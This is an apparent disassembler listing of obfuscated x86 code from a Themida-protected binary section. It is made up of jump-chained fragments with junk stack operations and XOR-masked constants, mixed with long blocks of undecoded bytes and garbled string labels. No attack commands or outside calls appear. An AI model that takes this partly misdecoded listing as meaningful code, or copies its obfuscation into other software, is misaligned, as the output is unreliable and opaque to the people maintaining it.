db 68h
dd 56ED435h, 2290E9h
db 0
; ---------------------------------------------------------------------------
loc_539735: ; CODE XREF: Themida_:0053CE95j
push 3ACBh
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
jmp loc_53D178
; ---------------------------------------------------------------------------
aAsdsR db '€éDé',0Ah
db 'R',0
align 10h
loc_539760: ; CODE XREF: Themida_:0053A0CEj
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_54100F
; ---------------------------------------------------------------------------
loc_53976C: ; CODE XREF: Themida_:0053DE42j
add ecx, edi
sub esp, 4
mov [esp], eax
mov eax, 0
add eax, ecx
jmp loc_53B8F7
; ---------------------------------------------------------------------------
dd 4EC6815Eh, 0F7044D2Bh, 0AC681D6h, 815B1533h, 0A9561DEEh
dd 5EF5016Dh, 4CE9F501h, 87FFFFD8h, 248B2434h, 4EC8124h
dd 89000000h, 0E389241Ch, 4C381h, 0C3830000h, 7565E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5397BE: ; CODE XREF: Themida_:0053E004j
push dword ptr [esp]
pop edx
sub esp, 4
jmp loc_540833
; ---------------------------------------------------------------------------
db 5Dh, 1, 0F8h
dd 81243C8Bh, 4C4h, 2BD5500h, 29000000h, 0C3FFE9E8h, 483FFFFh
dd 815F0424h, 4C7h, 4C78100h, 87000000h, 9EE9243Ch, 66000067h
dd 9EB55158h, 0E903EDC0h, 438Bh, 8B24048Fh, 0EC832424h
dd 24896602h, 4836624h, 84E90224h, 0BDFFFFD9h, 4, 4246C01h
dd 2A5FE95Dh, 0C1810000h, 6FD47B03h, 34B6E95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53983E: ; CODE XREF: Themida_:005375A6j
add ebx, eax
push eax
jmp loc_53B94A
; ---------------------------------------------------------------------------
loc_539846: ; CODE XREF: Themida_:00536B13j
shr eax, 0Bh
xor ecx, eax
push esi
push ebx
xor dword ptr [esp], 7E395DA2h
pop esi
push 5A1Fh
jmp loc_53EE6F
; ---------------------------------------------------------------------------
db 0ADh
dd 451D4505h, 27C4E92Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53986A: ; CODE XREF: Themida_:0053C3E4j
xor [esp+4], eax
jmp loc_5406D5
; ---------------------------------------------------------------------------
loc_539873: ; CODE XREF: Themida_:00541311j
mov ebx, eax
pop eax
sub ebx, 66ED41FDh
jmp loc_53D27B
; ---------------------------------------------------------------------------
loc_539881: ; CODE XREF: Themida_:0053EDBAj
sub ecx, ebp
jmp loc_535E29
; ---------------------------------------------------------------------------
loc_539888: ; CODE XREF: Themida_:0053A614j
mov cl, 0EFh
and bl, cl
jmp loc_53A584
; ---------------------------------------------------------------------------
db 59h, 0E9h, 15h
db 77h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_539897: ; CODE XREF: Themida_:00535B70j
mov esi, 4
add ebp, esi
pop esi
jmp loc_539CD4
; ---------------------------------------------------------------------------
dd 0FFC218E9h, 59E800FFh, 0C0E9B551h, 0D5F602EDh, 0FFD6BEE9h
dd 0D7EE81FFh, 0E9086050h, 2623h, 0FE7093BAh, 96C2816Fh
dd 29F872ADh, 5CB4E9D3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5398D6: ; CODE XREF: Themida_:0053F3BAj
mov edx, 0A85511Eh
push ecx
push 54B2h
mov [esp], edx
push 3DC9711Ch
pop edx
push edx
pop ecx
mov edx, [esp]
add esp, 4
jmp loc_53A8D3
; ---------------------------------------------------------------------------
dw 2159h
dd 240C8BC8h, 16D668h, 243C8900h, 0EC815F54h, 4, 5355E9h
dd 0E20BE00h, 11E95A47h
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53991F: ; CODE XREF: Themida_:005420E2j
add esp, 4
shl ecx, 7
push edx
mov edx, 12DF06D3h
xor edx, 47702FFDh
add edx, 8B7B5453h
sub ecx, edx
pop edx
sub [edi+24h], ecx
pop ecx
loc_539941: ; CODE XREF: Themida_:loc_53F38Fj
push 7CE3h
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_538F90
; ---------------------------------------------------------------------------
db 89h
dd 8B542404h, 0C4832404h, 28E95204h, 87000046h, 55E9240Ch
dd 66FFFFF0h, 9C2424D3h, 0FFC148E9h, 5AD530FFh, 5966E828h
dd 278C6866h, 0FFC3F6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_539989: ; CODE XREF: Themida_:0053A173j
mov esi, 1D7017FBh
add esi, 16DC0B05h
sub edx, esi
pop esi
dec edx
add edx, 71F77BE6h
xor eax, edx
pop edx
pop esi
push 1283h
mov [esp], ebp
push 43F6h
mov [esp], edi
mov edi, 32E03AACh
push 48A1h
mov [esp], esi
mov esi, 7CA6516Dh
xor esi, 2AF83701h
jmp loc_53E1BD
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFC0EDh, 1404E958h, 0E7C00000h, 436E903h, 0C870000h
dd 3C895C24h, 7179BF24h, 7C291CB3h, 0FF5F0424h, 81582434h
dd 4ECh, 24048900h, 4EC81h, 24890000h, 8911E924h, 81AD0000h
dd 4ECh, 24348900h, 0B04CB0BEh, 0BA525318h, 32FB3E4Fh
dd 0E95AD389h, 0FFFFE836h
; ---------------------------------------------------------------------------
loc_539A2C: ; CODE XREF: Themida_:00538494j
and edi, 77C80FABh
inc edi
sub edi, 1
xor edi, 73B474B8h
push edx
mov edx, 36747714h
sub edi, edx
pop edx
sub edx, edi
jmp loc_536A07
; ---------------------------------------------------------------------------
loc_539A4F: ; CODE XREF: Themida_:0053F8A7j
pop ecx
push ebp
push eax
mov eax, 495A325Ch
jmp loc_53A9F3
; ---------------------------------------------------------------------------
dd 0E9241489h, 0FFFFDEC6h
; ---------------------------------------------------------------------------
loc_539A64: ; CODE XREF: Themida_:00537BAFj
mov [ecx], ebx
pop ecx
mov ebx, [esp]
jmp loc_536DA3
; ---------------------------------------------------------------------------
db 5Ah
dd 1DA7642Dh, 542968BEh, 4890000h, 24048124h, 7E2E3989h
dd 89EE815Eh, 0E97E2E39h, 80Eh, 2C78358h, 0E9243C87h, 0FFFFC8DFh
dd 1BA168h, 7C64E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_539AA6: ; CODE XREF: Themida_:0053B383j
pop eax
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_53A903
; ---------------------------------------------------------------------------
db 51h
dd 0C9FEFCB1h, 8003E9C0h, 0C830E7E9h, 4F3DE9h, 0E9555E00h
dd 2020h, 0EB32E95Ch, 0E981FFFFh, 7D78BB05h, 0E959CF89h
dd 1EDAh, 2B5315B9h, 0E9D1F70Fh, 0FFFFD76Bh
; ---------------------------------------------------------------------------
loc_539AEC: ; CODE XREF: Themida_:005406AAj
xor ebp, esi
pop esi
jmp loc_539393
; ---------------------------------------------------------------------------
dd 4A14E95Dh, 0CBB0000h, 0E9348846h, 563Fh, 33241C31h
dd 0E95C241Ch, 29C5h, 5C241487h, 0D828442Ch, 80D2B353h
dd 0F3802BEBh, 3EBC0DFh, 0E903EBC0h, 0FFFFF777h
; ---------------------------------------------------------------------------
loc_539B2C: ; CODE XREF: Themida_:00540166j
add [esp], ax
pushf
jmp loc_5366E4
; ---------------------------------------------------------------------------
dw 2C59h
dd 4D8288Ah, 2434FF8Ah, 83241C8Bh, 0C48304C4h, 99B25204h
dd 803AF280h, 0C2809EF2h, 0C7FCE995h, 5752FFFFh, 0FEBFh
dd 148B5700h, 7499E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_539B6A: ; CODE XREF: Themida_:005373F0j
inc ebx
jmp loc_53BD3D
; ---------------------------------------------------------------------------
loc_539B70: ; CODE XREF: Themida_:0053658Bj
mov [esp], esi
push dword ptr [esp+4]
jmp loc_53A58A
; ---------------------------------------------------------------------------
dd 0E904C483h, 0FFFFBF3Dh, 587CE958h, 81660000h, 0A022444h
dd 0D5FFE97Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_539B96: ; CODE XREF: Themida_:0053E14Aj
mov ebp, esp
jmp loc_540E17
; ---------------------------------------------------------------------------
db 81h, 0C1h, 33h
dd 816E8E01h, 1572B3C9h, 0C181410Ah, 2AEFB94Eh, 0C8BCB01h
dd 0E7895724h, 4C781h, 58E90000h, 81000019h, 4E9h, 240C8700h
dd 2404895Ch, 136C1DB8h, 1670251Dh, 0D486505h, 2EAF438Dh
dd 8A253305h, 0DC7EE9F9h, 0F66FFFFh, 8952CCB6h, 59BF57E2h
dd 0C122AB64h, 0EF8103E7h, 56466994h, 2B10C781h, 0BD554EF1h
dd 218539D3h, 0FFFAAAE9h, 243C87FFh, 8924248Bh, 5150241Ch
dd 8CE9D188h, 8100001Dh, 4ECh, 241C8900h, 0C381E389h, 4
dd 0F7DEE957h, 6866FFFFh, 896606DEh, 0F8882404h, 0C688F788h
dd 24048B66h, 617FE9h, 0BF665700h, 4F66048Dh, 0C1664766h
dd 876608E7h, 0D6F766F7h, 66F78766h, 0C7BD6655h, 0D194E973h
dd 0F181FFFFh, 0CB1185Fh, 7E93F181h, 0E98144CCh, 0BEF2350h
dd 39EBE9h
db 0
; ---------------------------------------------------------------------------
loc_539C89: ; CODE XREF: Themida_:00541551j
pop ebp
pop dword ptr [esp]
pop esp
push dword ptr [edi+eax*4]
push esi
mov esi, 74A93A7Dh
xor [esp+4], esi
pop esi
push dword ptr [esp]
jmp loc_536C5C
; ---------------------------------------------------------------------------
dd 0C780E728h, 0E4D2E9EFh, 77FFFFFFh, 24048B1Ch, 4EC81h
dd 98E90000h, 33FFFFFCh, 248B240Ch, 22096824h, 4890000h
dd 0E9E08924h, 8124h
; ---------------------------------------------------------------------------
loc_539CD4: ; CODE XREF: Themida_:0053989Fj
push esi
jmp loc_53B89F
; ---------------------------------------------------------------------------
dw 95Bh
dd 2C8B1C6Fh, 0E3895324h, 4C381h, 4DE90000h, 81000027h
dd 2C4h, 689F2C00h, 2EDAh, 50240C89h, 405E089h, 0E9000000h
dd 21AFh, 0FFFFEF81h, 0E7C1FFFFh, 0FCEF8108h, 89375B70h
dd 44F7E9FDh, 815B0000h, 4C4h, 4EC8100h, 89000000h, 168242Ch
dd 5D1FA31Bh, 1AFDED81h, 0EE011FA3h, 83242C8Bh, 348704C4h
dd 24248B24h, 0FFDB8FE9h, 54015BFFh, 8B5A0424h
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_53CE48
; ---------------------------------------------------------------------------
loc_539D6F: ; CODE XREF: Themida_:0053A8FEj
add ebx, eax
pop eax
jmp loc_5374AA
; ---------------------------------------------------------------------------
db 66h
dd 0E9240C8Bh, 0FFFFF839h, 582434FFh, 655868h, 240C8900h
dd 0EC83E189h, 24148904h, 0A51954BAh, 0E9DAF742h, 0FFFFC1ADh
; ---------------------------------------------------------------------------
loc_539DA0: ; CODE XREF: Themida_:005419DFj
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push ebx
push ecx
mov ecx, 7B9C601Fh
add ecx, 4BD30F51h
push ebx
mov ebx, 0
sub ebx, ecx
push ecx
jmp loc_53F4A5
; ---------------------------------------------------------------------------
dd 4C3815Bh, 0E9000000h, 2AB3h, 6624248Bh, 0E9241489h
dd 56A3h, 4C3815Bh, 68000000h, 558Ch, 57242C89h, 784BE9h
db 0
; ---------------------------------------------------------------------------
loc_539DF1: ; CODE XREF: Themida_:00537190j
mov edi, [esp]
add esp, 4
shl eax, cl
jmp loc_5382D6
; ---------------------------------------------------------------------------
dw 0F381h
dd 885AFDA4h, 428CEF81h, 0DF01266Fh, 428CC781h, 0E95B266Fh
dd 0FFFFE90Eh, 0EFC0CFFEh, 7F78004h, 0E924F780h, 0FFFFF822h
; ---------------------------------------------------------------------------
loc_539E28: ; CODE XREF: Themida_:0053FF7Bj
not dword ptr [esp]
mov edi, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
jmp loc_537C2E
; ---------------------------------------------------------------------------
db 45h
dd 247DE581h, 0ED81467Fh, 24C51721h, 8108E5C1h, 0F0763BC5h
dd 5DE901E1h, 4496C981h, 0E9E92E04h, 8BFFFFDDh, 0C4832414h
dd 24048F04h, 6624248Bh, 5624048Bh, 39DE9h, 81F22900h
dd 817844EAh, 0EA815E46h, 53CC74FDh, 0C3E9DA01h, 8F00001Bh
dd 0BEE92404h, 0FF000023h, 148B2434h, 4C48324h, 2C60E9h
db 0
; ---------------------------------------------------------------------------
loc_539EA5: ; CODE XREF: Themida_:0053EA93j
add ebx, 78D606CCh
pop esi
dec ebx
not ebx
inc ebx
dec ebx
push ebp
mov ebp, 3F7416A3h
push ebp
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
pop ebp
xor ebp, 26CF7890h
xor ebp, 9CFFC16h
sub ebx, ebp
pop ebp
sub ecx, ebx
mov ebx, [esp]
add esp, 4
xor eax, ecx
jmp loc_53ACCB
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 4EB81h, 1C330000h, 241C3124h, 5C241C33h, 0BA241489h
dd 45890555h, 436CE9h, 0FFC28000h, 0F280D2F6h, 19B353C8h
dd 5BDD00h, 19ED80D5h, 5C3AE95Ah, 0C1810000h, 0AD476A7h
dd 8107E1C1h, 22C604C1h, 0E9CB0175h, 4911h
; ---------------------------------------------------------------------------
loc_539F34: ; CODE XREF: Themida_:00541C5Aj
mov esp, [esp]
jmp loc_535AC1
; ---------------------------------------------------------------------------
dd 3AACB850h, 0E8C15F0Ah, 3878E903h, 0A2BB0000h, 31F2EB05h
dd 241C8BDFh, 104C483h, 0ADE95FFBh, 66FFFFDAh, 7DF9EE81h
dd 0E0E95166h, 0C000004Ch, 0F62C08E8h, 0DE9C588h, 0F6FFFFFCh
dd 484DE9DEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_539F7E: ; CODE XREF: Themida_:0053864Fj
pop ecx
add esp, 4
and eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_53B832
; ---------------------------------------------------------------------------
dw 348Bh
dd 4C48324h, 0E65FE95Bh, 0C468FFFFh, 89000064h, 0EC83241Ch
dd 243C8904h, 4BFh, 8B5B5700h
db 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_536206
; ---------------------------------------------------------------------------
dw 0C89h
dd 57E18924h, 0FB5F48BFh, 37BE563Ch, 0E9384628h, 6C6Dh
dd 240C8B5Ch, 565968h, 241C8900h, 241C8B54h, 0FFC6B5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_539FE9: ; CODE XREF: Themida_:005383CEj
add eax, 53CA0FACh
add eax, 47AE68C5h
sub eax, esi
sub eax, 47AE68C5h
sub eax, 53CA0FACh
pop esi
push 1F51h
mov [esp], ecx
mov ecx, esp
jmp loc_536F4F
; ---------------------------------------------------------------------------
loc_53A00F: ; CODE XREF: Themida_:0053DC45j
xor [esp+4], eax
pop eax
pop eax
xor eax, 30490DA0h
mov esi, [esp]
add esp, 4
push 7504h
jmp loc_540AF2
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 5000000h, 3C9C655Eh, 223AC105h, 2DC82954h, 54223AC1h
dd 9C655E2Dh, 433593Ch, 24043124h, 0E9240433h, 0FFFFFD78h
dd 15B2C281h, 424A16BEh, 483FEA81h, 5EE9085Ch, 68FFFFEEh
dd 746Ch, 0FB4E9h
db 0
; ---------------------------------------------------------------------------
loc_53A075: ; CODE XREF: Themida_:00536623j
add esp, 4
mov ecx, [esp]
add esp, 4
jmp loc_53C3E9
; ---------------------------------------------------------------------------
dw 8B66h
dd 0A168240Ch, 8900002Fh, 5D54242Ch, 556BA52h, 0EA810FBBh
dd 2F397288h, 5736B951h, 0CA211E48h, 0F1C28159h, 427C1904h
dd 0B850DAF7h, 53E43A4Eh, 0BBE9E8D1h
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A0BF: ; CODE XREF: Themida_:00539726j
mov eax, 4
add edx, eax
pop eax
add edx, 4
push edx
jmp loc_539760
; ---------------------------------------------------------------------------
db 81h
dd 4C3h, 4C38100h, 87000000h, 15C241Ch, 2434FFEEh, 4C4835Dh
dd 0B850C601h, 0A1F5F53h, 3B9F68h, 241C8900h, 0DC156DBBh
dd 0F7D3F75Ah, 0B6F381D3h, 11C8F09h, 0E9405BD8h, 0FFFFC2E5h
; ---------------------------------------------------------------------------
loc_53A114: ; CODE XREF: Themida_:00541F9Aj
push eax
mov eax, 6BBD12E3h
not eax
jmp loc_53ECA1
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 0CBEE924h, 0CB010000h, 0A2BF5759h, 81387C4Bh, 9E6304E7h
dd 81D7F750h, 1C4303C7h, 0E9FB0110h, 0AE1h
; ---------------------------------------------------------------------------
loc_53A148: ; CODE XREF: Themida_:00535B90j
push dword ptr [eax]
sub dword ptr [esp], 122E1868h
pop ecx
add ecx, 122E1868h
pop eax
push ebp
mov ebp, 70486B40h
sub ebp, 0FFFFFFFFh
shr ebp, 1
push esi
push 1B2E64CCh
jmp loc_537F1E
; ---------------------------------------------------------------------------
loc_53A172: ; CODE XREF: Themida_:0053BA9Dj
push esi
jmp loc_539989
; ---------------------------------------------------------------------------
dd 0B4E68h, 771DE900h, 0E3890000h, 4C381h, 0EB830000h
dd 241C8704h, 2414895Ch, 5D3DA1BAh, 5AD6093Ah, 28B68h
dd 24148900h, 7726E9h, 18E95600h, 0F7000003h, 25C0E9DFh
dd 3C8B0000h, 4C48324h, 5C24048Fh, 9C2424D2h, 0FFE00FE9h
dd 642968FFh, 32E90000h, 0B9FFFFCBh, 7C403082h, 3086F181h
dd 0ED817C40h, 5A65381Eh, 0C581CD01h, 5A65381Eh, 4EC8359h
dd 0B9240C89h, 2, 15E9CD01h, 5100004Fh, 0C181E189h, 4
dd 4E981h, 0C870000h, 44E2E924h, 0E6890000h, 4C681h, 0EE810000h
dd 4, 5C243487h, 0E9242C89h, 0FFFFCB9Ah, 5EF3315Ah, 5F5BD829h
dd 0FFD9C7E9h, 241C89FFh, 42474FFh, 24048F5Bh, 0FFBC1AE9h
dd 0E95155FFh, 8E5h
; ---------------------------------------------------------------------------
loc_53A254: ; CODE XREF: Themida_:005361E8j
add esp, 4
add esp, 4
push ebp
push esp
pop ebp
push edx
jmp loc_537CE2
; ---------------------------------------------------------------------------
dw 1C31h
dd 241C3324h, 8124248Bh, 4C4h, 1C66E900h, 4890000h, 3F35E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A282: ; CODE XREF: Themida_:0053B90Bj
pop eax
pop ecx
jmp loc_535C64
; ---------------------------------------------------------------------------
db 89h, 0E2h, 81h
dd 4C2h, 4BB5300h, 29000000h, 0FCCE9DAh, 51580000h, 0C7684B9h
dd 55E94974h, 5A00001Dh, 2C681h, 45E90000h
db 59h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A2B7: ; CODE XREF: Themida_:00537BFFj
pop esp
loc_53A2B8: ; CODE XREF: Themida_:loc_53CA59j
; Themida_:0053E45Aj
push 0F3Eh
mov [esp], ebx
mov eax, [esp]
push 6EEAh
jmp loc_53F0F5
; ---------------------------------------------------------------------------
a2sbs db '´2éBS',0
align 4
a131SL db '1<$3<$1<$é+L',0
align 2
dw 0EC81h
dd 4, 68241489h, 44C3h, 0B8240489h, 21CA6956h, 0E908E0C1h
dd 4DDEh, 4C581h, 53E90000h, 5100001Fh, 0F11A9AB9h, 0F7F18152h
dd 8153325Ah, 31633CE1h, 8E1C143h, 5F18141h, 101402Ch
dd 0BE5659CAh, 4, 4AADC281h, 0F2013153h, 4AADEA81h, 335E3153h
dd 14312414h, 24143324h, 2404215Ch, 0B76FE99Ch, 0ED81FFFFh
dd 21BFDE34h, 0FFD6A2E9h, 242C89FFh, 693FD5BDh, 0A3B8502Ah
dd 91DA123h, 0E5C158C5h, 0CFF58103h, 57344605h, 3B27DEBFh
dd 5FFD092Dh, 0FFFBF581h, 0EB01EF3Fh, 26A1E9h
db 0
; ---------------------------------------------------------------------------
loc_53A38D: ; CODE XREF: Themida_:00541047j
add ebp, 4
push 3FD7h
mov [esp], eax
push ebp
push 63D60DC7h
pop ebp
not ebp
shr ebp, 7
xor ebp, 13853E0h
mov eax, ebp
mov ebp, [esp]
add esp, 4
add ebp, eax
mov eax, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_536805
; ---------------------------------------------------------------------------
loc_53A3D7: ; CODE XREF: Themida_:0053E033j
mov eax, edx
mov edx, [esp]
add esp, 4
xor eax, ecx
mov ecx, [esp]
jmp loc_53A8BF
; ---------------------------------------------------------------------------
aSq db '\éQ#',0
dw 100h
dd 0E95159CEh, 0FFFFD99Ah, 240C8B66h, 0CB8AE956h, 0D188FFFFh
dd 0C88585Ah, 568BE987h, 3BD0000h, 16AF950h, 3753E9EAh
dd 8F5F0000h, 665C2404h, 83240C89h, 0D5E904ECh, 66000006h
dd 66243C33h, 81243C31h, 2ECh, 3C896600h, 1C876624h, 66536624h
dd 662414F7h, 4305E95Bh, 0C2810000h, 2, 8904EC83h, 74FF2414h
dd 98E90424h, 0B5FFFFE3h, 6AED80F5h, 0C005E5C0h, 0C58007EDh
dd 820E934h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A476: ; CODE XREF: Themida_:0053DE16j
add ebx, 0A24296ECh
push 6917h
jmp loc_537BA5
; ---------------------------------------------------------------------------
dw 248Bh
dd 0E9F76624h, 4AF36866h, 0FFEEA7E9h, 240C87FFh, 0FFD15CE9h
dd 0C8B66FFh, 26B16824h, 34890000h, 0ED4FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53A4AE: ; CODE XREF: Themida_:005389EEj
add esi, 4
add esi, 4
jmp loc_538E49
; ---------------------------------------------------------------------------
loc_53A4BC: ; CODE XREF: Themida_:00539198j
pop edx
jmp loc_54101D
; ---------------------------------------------------------------------------
dw 0FAE9h
dd 57FFFFB5h, 803936BFh, 644BBE2Dh, 0FE316008h, 0C9C3815Fh
dd 8172245Fh, 86003BEBh, 81F3297Eh, 86003BC3h, 31CFE97Eh
dd 0D0000000h, 54E9852Ch, 0E900005Fh, 0FFFFB5C5h, 4EB81h
dd 0A6680000h, 89000017h, 0E9241Ch, 57000046h, 0C781E789h
dd 4, 0DFCE9h
db 0
; ---------------------------------------------------------------------------
loc_53A51D: ; CODE XREF: Themida_:00540503j
sub edx, 33480C14h
add eax, edx
pop edx
add eax, 4
xchg eax, [esp]
pop esp
loc_53A52F: ; CODE XREF: Themida_:loc_538187j
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
jmp loc_53ED25
; ---------------------------------------------------------------------------
loc_53A546: ; CODE XREF: Themida_:0053FA3Cj
pop esp
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_537C0E
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48124h, 68000000h, 2D0Bh, 0BF243C89h, 3AE261E9h, 33C968h
dd 24048900h, 7ABCE9h, 243C8900h, 0E9505F5Dh, 0FFFFDA9Dh
; ---------------------------------------------------------------------------
loc_53A584: ; CODE XREF: Themida_:0053988Cj
pop ecx
jmp loc_535E31
; ---------------------------------------------------------------------------
loc_53A58A: ; CODE XREF: Themida_:00539B77j
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5379E5
; ---------------------------------------------------------------------------
dd 191BF57h, 95BD1C0Fh, 0E91C0F01h, 2EEDh, 31240433h, 4332404h
dd 24248B24h, 9C240408h, 0FFB504E9h, 23E951FFh, 8B00004Ah
dd 0C481240Ch, 4, 0F01CFE05h, 15A2E96Eh, 0FF510000h, 8B042474h
dd 0C483240Ch, 24048F04h, 8724248Bh, 248B241Ch, 37EAE924h
dd 0C4810000h, 4, 0FFD3D0E9h, 0E1B850FFh, 2D7BAE09h, 31F07F1Fh
dd 0D8F7D0F7h, 93E9D0F7h
db 10h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A613: ; CODE XREF: Themida_:00540CB5j
push ecx
jmp loc_539888
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 240C8966h, 4F7CE9h, 45636800h, 2C890000h, 1D53BD24h
dd 814D50C0h, 0C01D50F5h, 143FE950h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A63E: ; CODE XREF: Themida_:0053E182j
pop eax
mov ecx, edx
jmp loc_538E09
; ---------------------------------------------------------------------------
dw 2C31h
dd 242C3324h, 2404D25Ch, 0B46BE99Ch, 0BA52FFFFh, 4, 4245401h
dd 0E924148Bh, 4C53h, 1213CA81h, 0EA8174E8h, 52BDC38Ah
dd 0C15AD701h, 9FE906EFh, 0B1FFFFBDh, 54E9535Ch, 5EFFFFEAh
dd 34FFC201h, 0C4835824h, 4C28304h, 8B241487h, 0F1F72424h
dd 689268h, 24148900h, 16E99C50h, 81FFFFB4h, 0A1C9ACF7h
dd 70E705A7h, 0C4E94161h, 81000010h, 286F87F1h, 81D9F71Ch
dd 0D8696BC9h, 2EC0E916h, 0C4810000h, 4, 4C181h, 11E90000h
dd 100004Eh, 63C381C3h, 812E7336h, 0FF39BDEBh, 0DCE9565Fh
dd 3300004Bh, 4DE9240Ch, 0BB00000Eh, 33DE410Eh, 5E87F381h
dd 0EBE94203h, 8900002Fh, 4C681E6h, 0E9000000h, 0FFFFD9DCh
; ---------------------------------------------------------------------------
loc_53A718: ; CODE XREF: Themida_:005400ADj
shr ecx, 6
push edx
push 6CF6h
mov [esp], ebx
push edi
jmp loc_53B645
; ---------------------------------------------------------------------------
dw 0EA29h
dd 0FBBE565Dh, 81784042h, 0F21D03E6h, 0F8F68155h, 813DEE4Fh
dd 5D75C6F6h, 2551E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A74A: ; CODE XREF: Themida_:00536AC4j
mov ebp, [esp]
add esp, 4
mov ecx, [edx]
pop edx
jmp loc_53D2BE
; ---------------------------------------------------------------------------
aBQf db 'Íïf',0
db 1Ah, 81h, 0C5h
dd 1, 52A168h, 24148900h, 0FFD89DE9h, 4C681FFh, 83000000h
dd 0E8E904C6h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_53A77F: ; CODE XREF: Themida_:00542381j
add ebx, 4
xchg ebx, [esp]
jmp loc_5403E4
; ---------------------------------------------------------------------------
db 0BDh, 0Ch, 55h
dd 0B4E973F4h, 80FFFFDCh, 0D1F6A1E9h, 0E98FE980h, 0FFFFC1B7h
dd 42474FFh, 626FE95Bh, 0B1510000h, 3E1C0B3h, 3CE980h
dd 7782E9C8h, 0D8010000h, 53241C8Bh, 1FCA68h, 24248900h
dd 4240481h, 5B000000h, 4C381h, 0C3810000h, 4, 147DE9h
dd 4C08300h, 0FFC2FBE9h, 815954FFh, 4C1h, 4C18100h, 33000000h
dd 0C31240Ch, 240C3324h, 3C85685Ch, 0C890000h, 2474FF24h
dd 48F5904h, 0FC6CE924h, 0C181FFFFh, 75770CD2h, 0E4E0F181h
dd 0CA09CB6Fh, 0AFBB5359h, 810CFF23h, 966F8DF3h, 0DDF38106h
dd 15A0B19h, 0D3015BDAh, 8124148Bh, 4C4h, 0E9D32900h, 0FFFFC127h
; ---------------------------------------------------------------------------
loc_53A850: ; CODE XREF: Themida_:00537143j
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_53F23B
; ---------------------------------------------------------------------------
loc_53A86A: ; CODE XREF: Themida_:0053BFEAj
xor ebp, 564A5F94h
jmp loc_541759
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0C2h
dd 4D76524Ah, 8106EDC1h, 526A84CDh, 6CE58111h, 81132173h
dd 0EA5811E5h, 1F0BE92Ah, 0E9500000h, 379Ch
; ---------------------------------------------------------------------------
loc_53A89C: ; CODE XREF: Themida_:00540BD9j
mov ecx, 2B8362CFh
jmp loc_53765E
; ---------------------------------------------------------------------------
dw 71BAh
dd 14DB534h, 0BA525AD0h, 41B1087Ch, 5E66E281h, 0E3E9315Fh
db 46h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_53A8BF: ; CODE XREF: Themida_:0053A3E4j
add esp, 4
push esi
mov esi, 21AB082Eh
and eax, esi
pop esi
jmp loc_53F727
; ---------------------------------------------------------------------------
loc_53A8D3: ; CODE XREF: Themida_:005398F5j
or edx, ecx
jmp loc_539693
; ---------------------------------------------------------------------------
dw 0EC83h
dd 240C8904h, 1B9h, 1C4F0900h, 8B2434FFh, 0C483240Ch, 5E545604h
dd 0FFC3C4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_53A8F9: ; CODE XREF: Themida_:0053CE55j
mov eax, 725F19C2h
jmp loc_539D6F
; ---------------------------------------------------------------------------
loc_53A903: ; CODE XREF: Themida_:00539AAEj
shr eax, 0Ah
xor eax, ecx
jmp loc_53CFF5
; ---------------------------------------------------------------------------
db 1, 0EAh, 8Bh
dd 0C483242Ch, 0D16EE904h, 0E181FFFFh, 456951D3h, 0FC03BD55h
dd 0E9291BD2h, 0FFB62BE9h, 89665CFFh, 0DEB62414h, 5A66F588h
dd 0A5B55153h, 0EF2883B7h, 77AFE959h, 0D8000000h, 116CE9h
dd 20A56800h, 0BAE90000h, 5D00002Ah, 2EE5E381h, 0EB816A38h
dd 68102EC1h, 875BDD01h, 0FF5C242Ch, 0C8B2434h, 4C48324h
dd 81E28952h, 4C2h, 22C56800h, 34890000h, 4BE24h, 0F2010000h
dd 0E92434FFh, 0FFFFB2B7h, 0F45DF381h, 0DA29C9F2h, 2454015Bh
